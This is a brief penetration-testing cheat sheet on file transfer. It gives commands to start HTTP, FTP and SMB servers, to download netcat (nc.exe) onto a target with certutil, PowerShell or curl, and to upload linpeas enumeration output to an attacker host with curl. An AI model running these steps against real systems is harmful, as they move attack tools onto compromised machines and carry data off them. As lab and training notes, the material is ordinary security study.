# File Transfer ### **HTTP Server** #### **For Download Files** ``` python3 -m http.server 80 ``` #### **For Download / Upload Files** ``` Server: python3 -m uploadserver 80 Client: curl -X POST -F files=@linpeas.output http://192.168.1.200/upload ``` --- #### **FTP Server** ``` python3 -m pyftpdlib -p 21 ``` #### **SMB Server** ``` impacket-smbserver -smb2support share . ``` --- ### **Download File** #### **certutil** ``` certutil.exe -urlcache -f -split http://192.168.1.100/nc.exe ``` #### **powershell** ``` iwr -uri http://192.168.1.100/nc.exe -o nc.exe ``` #### **curl** ``` curl http://192.168.1.100/nc.exe -o nc.exe ```